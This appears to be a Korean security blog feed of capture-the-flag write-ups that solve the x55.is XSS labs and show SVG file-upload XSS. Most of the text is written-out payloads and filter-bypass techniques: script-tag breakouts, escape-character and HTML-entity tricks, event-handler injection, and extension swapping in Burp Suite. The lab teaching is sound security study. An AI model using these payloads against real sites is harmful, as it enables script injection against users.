문제 페이지에 접속한 뒤 입력란에 특수문자 4개 < , ' , " , > 를 삽입하여 Search 버튼을 클릭합니다.

결과를 확인해 보면 query 파라미터에 사용자 입력 값이 들어가며 특수문자 4개 전부 별다른 필터링이 없이 그대로 사용되고 있는 것을 알 수 있습니다. 이는 HTML과 javascript를 이용하여 스크립트를 삽입할 가능성이 있다는 것을 의미합니다.

query 파라미터에 script 태그를 입력하여 결과를 확인해 보면 script 태그를 사용할 수 없음을 알 수 있습니다.

이번엔 script 태그가 아닌 img 태그를 사용하여 결과를 확인해 보면 img 태그는 사용 가능하다는 것을 알 수 있습니다.

img 태그와 이벤트 속성 onerror를 이용하여 스크립트를 삽입합니다.

[페이로드(입력 값)]

페이로드 : <img src='x' onerror=alert('xss')>

img 태그의 src 속성은 image의 경로를 지정합니다. 경로를 지정하지 않는다면 error가 발생합니다. 이벤트 속성인 onerror를 설정했다면 error가 발생했을 때 이벤트 속성에 따라 처리됩니다. 해당 페이로드의 경우 이미지의 경로가 x(잘못된 경로)이므로 에러가 발생하며
onerror 속성에 따라 경고 창을 화면에 띄우게 됩니다.

결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.

File Upload(파일 업로드) 취약점을 이용한 XSS 공격 with .SVG

0xSecurity — Sun, 25 Jan 2026 23:05:52 +0900

SVG 란?

SVG(Scalable Vector Graphics)는 XML 기반의 벡터이미지 포멧을 말합니다. 이러한 SVG의 가장 큰 특징은 벡터 기반이기 때문에 크기를 확장하거나 축소해도 해상도가 유지가 된다는 점입니다.

* XML(eXtensible Markup Language): 데이터를 구조적으로 표현하기 위한 마크업 언어입니다.

File Upload 취약점을 이용한 XSS

파일 업로드를 통해 공격자가 할 수 있는 공격 방식은 다양하게 존재합니다. 그 중에는 대표적으로 Web Shell 공격이 있으며 이번에 알아볼 공격 방식은 파일 업로드를 통해 XSS 공격을 시도해보는 것입니다.

(Web Shell 공격은 제가 작성한 글을 참조해주세요!)

File Upload를 이용한 Web Shell 공격

File Upload 취약점을 이용한 XSS - 발생조건

파일 업로드 기능이 존재해야 합니다.
업로드된 경로에 접근이 가능해야 합니다.

사용 도구

Burp Suite

실습

파일 업로드 기능이 있는 게시판에 접속하여 글 작성 페이지 접속합니다.

먼저 php 파일을 업로드하면서 웹쉘 업로드가 가능한지 확인합니다.

허용되지 않는 파일 형식이라고 화면에 출력되며 php 파일을 업로드할 수 없음을 확인할 수 있습니다. (이번 File Upload 공격은 SVG 파일을 이용한 XSS가 목적이므로 php 파일 우회는 다른 글을 참고해 주세요.)

이번엔 파일 업로드를 할 때 Burp Suite를 이용하여 Request를 가로챈 뒤에 확장자를 .svg 로 바꿔서 파일 업로드를 시도합니다. Response를 보면 php 파일은 안되지만 SVG 파일은 업로드할 수 있음을 알 수 있습니다.

SVG 파일을 이용하여 XSS 공격을 하기 위해서는 파일 경로로 접근이 가능해야 합니다. 파일 다운로드와 같은 버튼이 있을 때 우클릭한 뒤 링크 주소 복사를 클릭하면 복사된 주소가 파일이 저장되어있는 경로입니다.

복사한 주소를 URL 주소창에 입력하고 접속하면 접속이 가능하며 어떤 에러가 화면에 출력되고 있는 것을 볼 수 있습니다. 해당 에러는 XML 파서 에러이므로 업로드한 파일이 SVG(XML)로 인식되고 있음을 알 수 있습니다.

SVG 파일 업로드가 가능하며 업로드된 파일 경로에도 접근이 가능한 상태입니다. XSS 공격을 시도하기 위해 파일 업로드할 때의 Request를 가로채서 확장자를 .svg 로 바꾸고 페이로드를 삽입합니다.

[페이로드]

페이로드 : <svg onload="alert('1')" xmlns="http://www.w3.org/2000/svg"></svg> (확장자 .svg)

svg 태그와 이벤트 속성인 onload를 이용하여 스크립트를 실행하는 페이로드 입니다. xmlns는 네임스페이스(Namespace)를 선언하는 속성이며 SVG 규격에 따른 XML 문서라는 것을 알려주는 선언입니다. "http://www.w3.org/2000/svg" 은 SVG의 공식 네임스페이스 입니다.
(.svg 파일은 xmlns를 명시해줘야 XSS를 성공시킬 수 있습니다. xmlns을 명시하지 않으면 XSS가 발생하지 않습니다.)

페이로드를 삽입한 뒤 Request를 보내면 Response에 글 작성에 성공했다는 것을 볼 수 있습니다.

이어서 파일 경로를 복사해 줍니다.

복사한 파일 경로를 URL 주소창에 입력한 뒤 접속해줍니다.

결과를 보면 파일 업로드로 올렸던 SVG 파일로 인해 스크립트가 실행되며 XSS가 발생하는 것을 볼 수 있습니다.

x55.is(CTF) - XSS 문제 풀이 (4/4)

0xSecurity — Mon, 19 Jan 2026 14:10:22 +0900

문제 링크

https://x55.is/brutelogic/lab/inside-handler.php?p=dddd

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://x55.is/brutelogic/lab/inside-handler.php?p=dddd

p 파라미터에 임의의 값을 입력하고 페이지에 접속해 보면 콘솔을 확인하라고 나옵니다. 개발자 도구 콘솔 탭에 들어가면 파라미터에 입력한 값이 콘솔 탭에 출력되고 있는 것을 볼 수 있습니다.

p 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 접속한 뒤 콘솔 탭에서 결과를 확인해 보면 싱글 쿼터, 더블 쿼터가 필터링 되어 출력이 되지 않고 있는 것을 알 수 있습니다.

추가로 Elements 탭에서 코드를 확인해 보면 이벤트 속성인 onload가 있고 입력 값이 doSomething이라는 함수의 인자 값으로 들어가고 있는 것을 볼 수 있습니다.

해당 문제는 HTML 파서, JS 엔진에 작동 방식을 이용하여 해당 문제를 풀 수 있습니다. HTML 파서는 파싱 단계에서 HTML Entity를 만나게 되면 HTML Entity가 의미하는 문자로 변환하며 JS 엔진에서는 변환된 결과를 가지고 문법을 처리하게 됩니다.

HTML 파서 입장 : &#x0027 (HTML Entity - hex)을 보고 HTML Entity에 해당하는 문자인 싱글 쿼터 ' 로 변환함.

JS 엔진 입장 : ' 을 가지고 문법 처리

+) HTML Entity 치환 방식은 여러 개가 존재하며 현재 치환방식은 16진수(hex)로 치환한 방식입니다. 다른 HTML Entity 치환 방식을 사용해도 괜찮습니다.

HTML 파서

dddd&#x0027

JS 엔진

dddd'

p 파라미터에 HTML Entity로 &#x0027(hex)을 입력해 보고 콘솔 탭에 들어가 보면 문법 에러가 뜨며 사용자의 입력 값으로 코드에 영향을 미치고 있는 것을 볼 수가 있습니다.

(* &#x0027에서 & , # 기호는 각각 파라미터 구분자와 프래그먼트 식별자로 의미가 있는 있는 기호이기 때문에 URL 인코딩을 통해 해당 기호들을 바꿔서 입력해 줘야 합니다. 바꿔주지 않으면 &#x0027으로 인식하지 못합니다. &#x0027 -> %26%23x0027)

따라서 HTML 파서와 JS 엔진 동작 방식을 이용하여 XSS 공격을 시도할 수 있습니다.

[페이로드(입력 값)]

페이로드: dddd%26%23x0027);alert(1);// 또는 dddd%26%23x0027);alert(1);x=('

<body onload="doSomething('___입력 값___')">


<body onload="doSomething('dddd%26%23x0027);alert(1);// ')">


<body onload="doSomething('dddd%26%23x0027);alert(1);x=('')">

*** 마지막에 한 줄 주석 처리(//) 또는 더미 속성을 해주지 않는다면 마지막에 싱글 쿼터('), 닫는 괄호가 남기 때문에 문법 에러가 발생하여 alert 함수가 동작하지 않습니다.

주석 처리를 이용한 페이로드를 입력합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.

더미 속성을 이용한 페이로드를 입력합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.

x55.is(CTF) - XSS 문제 풀이 (3/4)

0xSecurity — Mon, 12 Jan 2026 16:20:47 +0900

문제 링크

https://x55.is/brutelogic/xss.php?c1=test

https://x55.is/brutelogic/xss.php?c2=test

https://x55.is/brutelogic/xss.php?c3=test

https://x55.is/brutelogic/xss.php?c4=test

https://x55.is/brutelogic/xss.php?c5=test

https://x55.is/brutelogic/xss.php?c6=test

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: Burp Suite

문제 풀이 - https://x55.is/brutelogic/xss.php?c1=test

문제 페이지에 접속하여 c1 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c1 변수의 값으로 들어가고 있는 것을 확인합니다.

c1 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 싱글쿼터가 필터링되어 사용할 수 없음을 알 수 있습니다.

꺾쇠 기호가 필터링 되어 있지 않고 스크립트 내부에 접근이 가능하기 때문에 script 태그를 닫고 다시 script 태그를 삽입하여 XSS 공격을 시도할 수 있습니다.

[페이로드(입력 값)]

페이로드: dddd</script><script>alert("1");</script><script>

페이로드 마지막에 <script>를 해줬던 이유는 기존에 있던 script 태그의 닫는 태그가 남기 때문에 정상적으로 script 태그를 닫기 위해서입니다.

<script> // 기존 script 태그
~~~~
</script> // 페이로드에 입력된 script 태그

<script> // 페이로드에 입력된 script 태그
dddd</script><script>alert('1');</script><script>
</script> // 페이로드에 입력된 script 태그

<script> // 페이로드에 입력된 script 태그

</script> // 기존 script 태그

*** 마지막에 <script>를 해주지 않는다면 다음과 같이 script 태그 내의 내용들이 텍스트로 화면에 출력되게 됩니다.
(alert 함수는 정상 작동합니다.)

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

(참고) 경고 창을 닫고 페이지를 확인해 보면 페이로드 마지막에 해줬던 <script> 가 있었기에 정상적으로 script 태그가 닫히면서 내용들이 텍스트로 화면에 출력되지 않고 있는 것을 볼 수 있습니다.

문제 링크 - https://x55.is/brutelogic/xss.php?c2=test

문제 페이지에 접속하여 c2 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c2 변수의 값으로 들어가고 있는 것을 확인합니다.

c2 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 더블 쿼터가 필터링 되어 사용할 수 없음을 알 수 있습니다.

꺾쇠 기호가 필터링 되지 않고 스크립트 내부에 접근이 가능한 경우 script 태그를 닫고 다시 script 태그를 삽입하여 XSS 공격을 시도할 수 있습니다.

[페이로드(입력 값)]

dddd</script><script>alert('1');</script><script>

페이로드 마지막에 <script>를 해줬던 이유는 기존에 있던 script 태그의 닫는 태그가 남기 때문에 정상적으로 script 태그를 닫기 위해서입니다.

<script> // 기존 script 태그
~~~~
</script> // 페이로드에 입력된 script 태그

<script> // 페이로드에 입력된 script 태그
dddd</script><script>alert('1');</script><script>
</script> // 페이로드에 입력된 script 태그

<script> // 페이로드에 입력된 script 태그

</script> // 기존 script 태그

*** 마지막에 <script>를 해주지 않는다면 다음과 같이 script 태그 내의 내용들이 텍스트로 화면에 출력되게 됩니다.
(alert 함수는 정상 작동합니다.)

*(참고 자료)

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

문제 링크 - https://x55.is/brutelogic/xss.php?c3=test

문제 페이지에 접속하여 c3 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c3 변수의 값으로 들어가고 있는 것을 확인합니다.

c3 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 < 기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 따라서 HTML 태그 기능을 사용할 수 없기 때문에 앞서 두 문제처럼 스크립트 태그를 닫고 다시 스크립트 태그를 삽입하면서 XSS 공격을 할 수 없게 됩니다.

태그 기능을 사용할 수 없지만 싱글 쿼터나 더블 쿼터는 사용을 할 수 있습니다. 변수의 값이 싱글 쿼터로 감싸져있기 때문에 문법에 맞게 싱글 쿼터를 이용하면서 한 줄 주석 처리도 가능한지 확인해 봅니다. 주석 처리가 정상적으로 작동하며 변수를 벗어나 script 태그 내부에 사용자의 입력 값 삽입이 가능하다는 것을 알 수 있습니다.(주석 처리하는 이유는 뒤에 있습니다.)

* Response를 보게 되면 주석 처리된 부분은 색깔이 약간 다른 것을 볼 수 있습니다.

한 줄 주석 처리가 가능하고 싱글 쿼터를 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.

[페이로드(입력 값)]

페이로드: dddd';alert('1');//test

싱글 쿼터('), 세미콜론(;)을 이용하여 변수를 벗어나 script 태그 내부에 사용자의 입력 값이 삽입될 수 있습니다.

[코드 예시]
<script> // script 태그
~~~~

var c3 = '__입력 값___'; // 페이로드 입력 전

var c3 = 'dddd'; // 페이로드 입력 후
alert('1');
//test';

</script> // script 태그

*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

문제 링크 - https://x55.is/brutelogic/xss.php?c4=test

문제 페이지에 접속하여 c4 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c4 변수의 값으로 들어가고 있는 것을 확인합니다.

c4 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 < 기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 따라서 HTML 태그 기능을 사용할 수 없기 때문에 script 태그를 닫고 다시 script 태그를 삽입하면서 XSS 공격을 할 수 없게 됩니다.

태그 기능을 사용할 수 없지만 싱글 쿼터나 더블 쿼터는 사용을 할 수 있습니다. 변수의 값이 더블 쿼터로 감싸져있기 때문에 문법에 맞게 더블 쿼터를 이용하면서 한 줄 주석 처리도 가능한지 확인해 봅니다. 결과를 보면 주석 처리가 정상적으로 작동하며 변수를 벗어나 script 태그 내부에 사용자의 입력 값 삽입이 가능하다는 것을 알 수 있습니다.(주석 처리하는 이유는 뒤에 있습니다.)

* Response를 보면 주석 처리된 부분은 색깔이 약간 다른 것을 볼 수 있습니다.

한 줄 주석 처리가 가능하고 더블 쿼터를 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.

[페이로드(입력 값)]

페이로드: dddd";alert('1');//test

싱글 쿼터('), 세미콜론(;)을 이용하여 변수를 벗어나 script 태그 내부에 사용자의 입력 값이 삽입될 수 있습니다.

[코드 예시]
<script> // script 태그
~~~~

var c3 = '__입력 값___'; // 페이로드 입력 전

var c3 = 'dddd"; // 페이로드 입력 후
alert('1');
//test';

</script> // script 태그

*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

문제 링크 - https://x55.is/brutelogic/xss.php?c5=test

문제 페이지에 접속하여 c5 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c5 변수의 값으로 들어가고 있는 것을 확인합니다.

c4 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 < 기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 또한 싱글 쿼터 앞에 \ ( ₩ ) 기호가 붙으며 escape 처리가 되고 있는 것을 알 수 있습니다.

* escape: 특수 기능을 가진 문자를 문자 그대로 사용하도록 해주는 것을 말합니다.

escape 처리해 주는 \ 기호를 삽입하고 Response를 확인합니다. Response를 확인하면 원래 변수의 값이 싱글 쿼터로 감싸지며 감싸진 내부가 문자열로 인식 되도록 해야 하는데 싱글 쿼터가 그냥 문자로 인식되면서 문법이 파괴된 것을 볼 수 있습니다.

이번엔 escape 처리 문자를 escape 처리했을 때 Response를 확인합니다. Response를 보면 escape 문자가 escape 처리되어 그냥 문자로 인식되었고 이로 인해 싱글 쿼터가 변수의 값을 정상적으로 감싸며 문법이 파괴되지 않은 것을 볼 수 있습니다.

[추가 설명]

입력: dddd\
출력: var c5 = 'dddd\'; // 문자열이 싱글 쿼터로 감싸져야 하는데 escape 처리로 맨 뒤 싱글 쿼터가 그냥 문자로 인식되며 문법 파괴.

입력: dddd\\
출력: var c5 = 'dddd\\'; // escape 처리 문자를 escape 처리하면 escape 문자가 그냥 문자로 쓰였기에 맨 마지막 싱글 쿼터에는 아무 // 영향이 없음

한 줄 주석 처리가 가능하고 싱글 쿼터를 escape 문자로 우회하여 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.

[페이로드(입력 값)]

페이로드: dddd\';alert("1");//

사용자가 싱글 쿼터(')를 사용하면 앞에 escape 문자인 \ ( ₩ ) 기호가 앞에 생기게 됩니다. 이로 인해 사용자가 싱글 쿼터를 사용해 변수를 벗어나며 스크립트를 삽입할 수 없게 됩니다. 하지만 사용자가 싱글 쿼터 입력전에 escape 문자를 입력하게 된다면 \\' 이 되면서 싱글 쿼터를 escape 처리하는 문자가 싱글 쿼터 전에 입력했던 escape 처리 문자로 인해 escape 처리 문자로서의 기능이 없어져 싱글 쿼터를 사용할 수 있게 됩니다.

\ : escape 기능 수행
\ : 그냥 \ 기호 (escape 처리되어 escape 기능을 상실함.)
' : 변수의 값을 감싸는 싱글 쿼터로 인식됨.

[코드 예시]
<script> // script 태그
~~~~

var c5 = '__입력 값___'; // 페이로드 입력 전

var c5 = 'dddd\'; // 페이로드 입력 후
alert("1");
//';

</script> // script 태그

*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

문제 링크 - https://x55.is/brutelogic/xss.php?c6=test

문제 페이지에 접속하여 c6 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 script 태그 내부 c6 변수의 값으로 들어가고 있는 것을 확인합니다.

c6 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 < 기호가 필터링 되어 사용할 수 없음을 알 수 있습니다. 또한 더블 쿼터 앞에 \ ( ₩ ) 기호가 붙으며 escape 처리가 되고 있는 것을 알 수 있습니다.

escape 처리해 주는 \ 기호를 삽입하고 Response를 확인합니다. Response를 확인하면 원래 변수의 값이 싱글 쿼터로 감싸지며 감싸진 내부가 문자열로 인식 되도록 해야 하는데 싱글 쿼터가 그냥 문자로 인식되면서 문법이 파괴된 것을 볼 수 있습니다.

이번엔 escape 처리 문자를 escape 처리했을 때 Response를 확인합니다. Response를 보면 escape 문자가 escape 처리되어 그냥 문자로 인식되었고 이로 인해 더블 쿼터가 변수의 값을 정상적으로 감싸며 문법이 파괴되지 않은 것을 볼 수 있습니다.

한 줄 주석 처리가 가능하고 더블 쿼터를 escape 문자를 이용해 우회하여 이용할 수 있기 때문에 script 태그 내부에 사용자가 입력한 값을 삽입할 수 있게 됩니다. 페이로드를 참고해 보면 다음과 같습니다.

[페이로드(입력 값)]

페이로드: dddd\";alert('1');//

사용자가 더블 쿼터(")를 사용하면 앞에 escape 문자인 \ ( ₩ ) 기호가 앞에 생기게 됩니다. 이로 인해 사용자가 더블 쿼터를 사용해 변수를 벗어나며 스크립트를 삽입할 수 없게 됩니다. 하지만 사용자가 싱글 쿼터 입력전에 escape 문자를 입력하게 된다면 \\'  이 되면서 더블 쿼터를 escape 처리하는 문자가 더블 쿼터 전에 입력했던 escape 처리 문자로 인해 escape 처리 문자로서의 기능이 없어져 더블 쿼터를 사용할 수 있게 됩니다.

\  : escape 기능 수행
\  : 그냥 \ 기호 (escape 처리 되어 escape 기능을 상실함.)
" : 변수의 값을 감싸는 더블 쿼터로 인식됨.

[코드 예시]
<script> // script 태그
~~~~


var c5 = '__입력 값___';  // 페이로드 입력 전

var c5 = 'dddd\"; // 페이로드 입력 후
alert('1');
//';

</script> // script 태그

*** 마지막에 한 줄 주석 처리(//)를 해주지 않는다면 마지막에 싱글 쿼터('), 세미콜론(;)이 남으며 문법 에러가 발생하기 때문에 alert 함수가 동작하지 않습니다.

Response를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

x55.is(CTF) - XSS 문제 풀이 (2/4)

0xSecurity — Mon, 5 Jan 2026 11:45:18 +0900

문제 링크

https://x55.is/brutelogic/xss.php?b1=test

https://x55.is/brutelogic/xss.php?b2=test

https://x55.is/brutelogic/xss.php?b3=test

https://x55.is/brutelogic/xss.php?b4=test

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: Burp Suite

문제 풀이 - https://x55.is/brutelogic/xss.php?b1=test

문제 페이지에 접속하여 b1 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value에 들어가고 있는 것을 확인합니다.

b1 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 Javascript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.

이전 응답 결과를 확인해 보면 특수문자를 이용해서 input 태그를 닫을 수 있음을 알 수 있습니다. 문법에 맞춰서 input 태그를 강제로 닫고 스크립트(페이로드)를 삽입합니다. 응답 결과를 보면 스크립트가 삽입된 것을 볼 수 있습니다.

[페이로드(입력 값)]

dddd"><script>alert('1');</script><"

* input 태그의 value 속성의 값이 더블 쿼터로 감싸져있기 때문에 이를 주의하여 input 태그를 닫고 스크립트를 삽입해야 합니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인합니다.

문제 풀이 - https://x55.is/brutelogic/xss.php?b2=test

문제 페이지에 접속하여 b2 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.

b2 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 Javascript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.

이전 응답 결과를 확인해 보면 특수문자를 이용해서 input 태그를 닫을 수 있음을 알 수 있습니다. 문법에 맞춰서 input 태그를 강제로 닫고 스크립트(페이로드)를 삽입합니다. 응답 결과를 보면 스크립트가 삽입된 것을 볼 수 있습니다

[페이로드(입력 값)]

dddd'><script>alert('1');</script><'

* input 태그의 value 속성의 값이 싱글 쿼터로 감싸져있기 때문에 이를 주의하여 input 태그를 닫고 스크립트를 삽입해야 합니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.

문제 풀이 - https://x55.is/brutelogic/xss.php?b3=test

문제 페이지에 접속하여 b3 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.

b3 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 > 기호가 필터링 되고 있는 것을 볼 수 있으며 HTML 태그를 닫는 용도로 > 기호를 사용하지 못한다는 것을 알 수 있습니다.

필터링으로 인해 input 태그를 강제로 닫고 스크립트 삽입이 불가능하므로 이를 우회해야 합니다. 우회 방법은 여러 가지 있지만 해당 문제에서는 onfocus + autofocus를 이용하여 우회를 시도합니다.

[페이로드(입력 값)]

dddd"+autofocus+onfocus=alert('1')+x="

autofocus : 페이지가 로드되면 특정 요소에 자동으로 포커스를 줍니다.
onfocus : 요소가 포커스를 얻으면 실행되는 이벤트 핸들러입니다.

정리하면 해당 페이로드가 삽입된 URL로 접속하게 된다면 autofocus로 인해 자동으로 포커스를 주고 onfocus에 의해 alert 함수가 실행됩니다. 따라서 별다른 행위를 하지 않아도 바로 스크립트가 실행됩니다.

+) x=" 을 해준 이유는 페이로드를 삽입하고 더블쿼터(")가 하나 남게 되어 문법이 맞지 않게 됩니다. 따라서 문법을 맞춰주기 위해 페이로드에 함께 삽입하여 줍니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.

문제 풀이 - https://x55.is/brutelogic/xss.php?b4=test

문제 페이지에 접속하여 b4 파라미터에 임의의 값을 삽입하고 Burp Suite를 통해 요청, 응답 데이터를 확인합니다. 삽입한 값이 input 태그 value 속성 값에 들어가고 있는 것을 확인합니다.

b4 파라미터 값에특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 > 기호가 필터링 되고 있는 것을 볼 수 있으며 HTML 태그를 닫는 용도로 > 기호를 사용하지 못한다는 것을 알 수 있습니다.

필터링으로 인해 input 태그를 강제로 닫고 스크립트 삽입이 불가능하므로 이를 우회해야 합니다. 해당 문제에서는 onfocus + autofocus를 이용하여 우회를 시도합니다.

[페이로드(입력 값)]

dddd'+autofocus+onfocus=alert('1')+x='

autofocus : 페이지가 로드되면 특정 요소에 자동으로 포커스를 줍니다.
onfocus : 요소가 포커스를 얻으면 실행되는 이벤트 핸들러입니다.

정리하면 해당 페이로드가 삽입된 URL로 접속하게 된다면 autofocus로 인해 자동으로 포커스를 주고 onfocus에 의해 alert 함수가 실행됩니다. 따라서 별다른 행위를 하지 않아도 바로 스크립트가 실행됩니다.

+) x=' 을 해준 이유는 페이로드를 삽입하고 싱글쿼터(')가 하나 남게 되어 문법이 맞지 않게 됩니다. 따라서 문법을 맞춰주기 위해 페이로드에 함께 삽입하여 줍니다.

삽입된 스크립트가 정상적으로 실행되는지 확인하기 위해 스크립트가 삽입된 URL 그대로 복사하여 주소창에 입력하여 접속합니다.

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 경고 창을 성공적으로 띄우며 XSS(RXSS) 공격에 성공했음을 확인할 수 있습니다.

x55.is(CTF) - XSS 문제 풀이 (1/4)

0xSecurity — Mon, 29 Dec 2025 00:08:29 +0900

문제 링크

https://x55.is/brutelogic/xss.php?a=test

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: Burp Suite

문제 풀이 - https://x55.is/brutelogic/xss.php?a=test

문제 페이지에 접속하면 a 파라미터에 입력한 값이 화면에 출력되는 것을 확인할 수 있습니다.

Burp Suite를 이용하여 a 파라미터 값에 특수문자 4개 <, ', ", >를 삽입하여 요청을 보냅니다. 그 후 응답 결과를 확인해 보면 특수문자 전부 별다른 필터링이 적용되지 않기 때문에 HTML과 javscript를 이용하여 스크립트를 삽입할 수 있다는 것을 의미합니다.

a 파라미터에 스크립트(페이로드)를 삽입하여 요청 데이터를 보낸 뒤 응답 결과를 확인해 보면 스크립트가 삽입된 것을 확인합니다.

